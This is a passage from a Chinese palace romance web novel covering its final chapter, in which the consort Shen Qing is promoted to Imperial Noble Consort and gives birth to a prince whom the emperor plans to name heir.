“恭喜皇上!贺喜皇上!宸贵妃这是喜脉,贵妃怀孕已经一个月了!”这名太医仍是上次的太医,不过须臾脸便笑成了褶子。 “嗯?”纪宸的面色一点点疏朗起来,拨云见日,他不可置信看向沈青,“我们又有孩子了?” 沈青笑着看向他:“是,前几日太医便把出来了,只是月份浅脉象不准,臣妾便没让太医声张。” 纪宸高兴的不行,他后知后覺反应过来,面上带了一点点幽怨:“这几天你又在逗朕。” 全天下敢戏弄他的,也只有沈青了,而他也拿她没办法。 不过他心里,却是美滋滋的。 沈青:“陛下的反应很有趣。” 明明难耐的很,却偏偏在她一句话下就乖乖按捺住,连给她找理由的机会都不给。 她思来想去,觉得这便是纪宸拿得出手的爱意。 既可以将奇珍异宝捧到她面前,又可以对她温柔以待。 最开始,沈青可想都不敢想纪宸会这副样子,如今,她却越来越习惯了纪宸对她的态度。 纪宸拉着沈青的手放到他脸庞上,笑容收了起来,认真道:“辛苦卿卿了。” 沈青摸了摸他的脸,许愿道:“希望这个孩子像小满一样不闹臣妾。” 辛苦肯定是辛苦的,但她身体康健,若怀的好,兴许只用遭生产时的罪。 沈青怀孕,纪宸高兴之下当场便賞了太医与两宫的宫人。 随后,纪宸回到乾清宫,旋即拟好了封沈青为皇贵妃的旨意。 他是一刻也等不及将沈青捧到皇贵妃的位置上,连等到诞下皇嗣的那一日都不愿意等。 聖旨下达,但大典却得在沈青胎象稳固后举办,好在她有经验,有条不紊的继续賞承乾宫的宫人。 她的宫人待她尽心尽力,她逢年逢节便会赏,现下有这么好的借口赏赐,不赏她自己都不舒坦。 白桃入迷地看向宸皇贵妃,觉得再没有比皇贵妃娘娘口中的赏字更好听了,恍惚间,她觉得娘娘身上有光,还是金灿灿的。 沈青接过聖旨慢慢欣赏,这可是皇贵妃,位同副后。 她进宫时,连当皇贵妃宫里的大宫女都不敢想,如今却成了皇贵妃。 她的心情澎湃激昂,用手抚摸着圣旨,连着欣赏了许久才让人收起来。 很快三个月便过去了,沈青只在最初几日容易觉得困,此外再没不适,是和小满一脉相承的好孩子。 这次是封皇贵妃,册封大典空前隆重,不过谁也不敢累着她,沈青很轻松就走完了流程。 沈青登上了高位,沈家自然没有拖后腿,差的太远。 沈秀秀的商队已经越扩越大,越走越远,沈家虽没有富可敌国,但在京城,沈秀秀可以称得上首富。 蓉妹选了良人成亲,当年她喜欢的人她终于是攀折了下来。 婉妹仍寄情山水,看不太出苗头。 第二天春天,沈家沈父与沈蕭蕭以举子的身份参加了会試,两人均顺利获取功名,成为贡士,同年四月,两人参加殿試,沈萧萧沉淀多年一举夺下探花之位。 与沈萧萧称兄道弟的陆云圭则夺得榜眼。 沈青再次记起了原书女主弟弟,知道他本事不俗,便没插手他与婉妹的发展。 有她在,足够 给婉妹撑腰了。 且沈家的女儿,无论什么时候,自身都能立起来,不做受气包。 既然如此,婉妹如果中意陆云圭,试试又何妨? 沈青是六月底生产,随着肚子越来越大,这个日子也越来越近。 如怀小满那次一样,纪宸再一次紧张了起来。【你现在阅读的是 】 第120章【正文完结】 第120章 第120章正文完结 这一次生產仍是出奇的顺利,小滿在早上出生,这个孩子却是在傍晚。 等人都睡下了,他才有了动静,纪宸連忙起身,承乾宫的宫人也都在有条不紊的准备着。 沈青没什么可担忧的,送入產房后不久就顺利诞下了一位皇子。 小滿是大公主,而这个小家伙则是四皇子。 太后一到承乾宫,还没开始着急,就被报喜的宫人塞进懷里了一名皇子。 太后緊张的表情还没收回去,便遇到了这个场面,神色格外奇妙,她仔细端详了皇子一眼:“你啊你,不声不响就来了。” “皇贵妃的福气真大,公主皇子都有了,还个顶个的心疼母妃。” 更不必说还有一个巴巴跟在身后的皇帝,一天不来承乾宫就不舒坦。 太后就没见过哪个女子懷孕能像沈青这样顺利,怀孕时反应不大不说,連第一胎都没遭多少罪,第二胎更是顺利的没话说。 她还没到,就生了下来,现在及时到承乾宫的也只有兰妃、楚妃与陈贵嫔了,許是听到消息没收拾多久就直接赶了过来。 太后感叹着,皇帝的第一位公主叫皇贵妃生了,最小的皇子也是她生的。她要是皇帝,对唯一的公主与最小的皇子可不得如珠似玉地疼着宠着? 太后抱了好一会儿四皇子,这才问:“皇上呢?” 白桃笑道:“娘娘喊疼,皇上正陪着呢。” 说是陪着,其实是小心翼翼哄着。 “是该陪,皇贵妃的功劳甚大,哀家……” 太后想赏沈青,却忽然发现赏无可赏,沈青已经是皇贵妃了,手里的宝贝在这些年皇帝的投喂下許是比她的还丰。 不过剛成为翰林院编修的沈探花,据传是皇贵妃的親弟弟,她的父親也考中了,只是名次较低,出京做了一个小小的縣令。 太后派人打探过,知道十有八九是真,且沈家,皇贵妃还有两个胞妹。 皇贵妃的母亲一个诰命跑不了,皇帝兴许会搶在她前头封赏,但她可以赏皇贵妃的胞妹啊。 得太后青睞的女眷,赴宴都会被高看。 另一邊,沈青受用着纪宸在给她擦汗珠,她现在身上黏黏糊糊的,且六七月正是热的时候,而她剛生产过,又受不了凉…… “臣妾再也不想在夏天生孩子了。” 纪宸握着她的手:“不生了,再也不生了,有一位皇子已经够了,更何况你还给朕生了个那么可爱的公主。” 他是真心实意这么覺得,他属意立沈青的皇子为太子,即便未来会很艰难,小孩子不易養住,更何况是皇室的,但他也仍是做了这个決定。 等到纪玹三岁,他便下旨。 纪玹是四皇子的名字,早在五月便选好了。 沈青握緊纪宸的指尖,要等纪玹到三岁,恐怕也是看纪玹能否当个合格的太子乃至皇帝,这是纪宸对自己的黎民百姓负的责任。 “嗯,我们不生了,我们多腻歪很多日子。” 纪宸伸手擦掉沈青眼角滑出的泪:“好好的,怎么哭了?” “因为,喜欢你。”【你现在阅读的是 】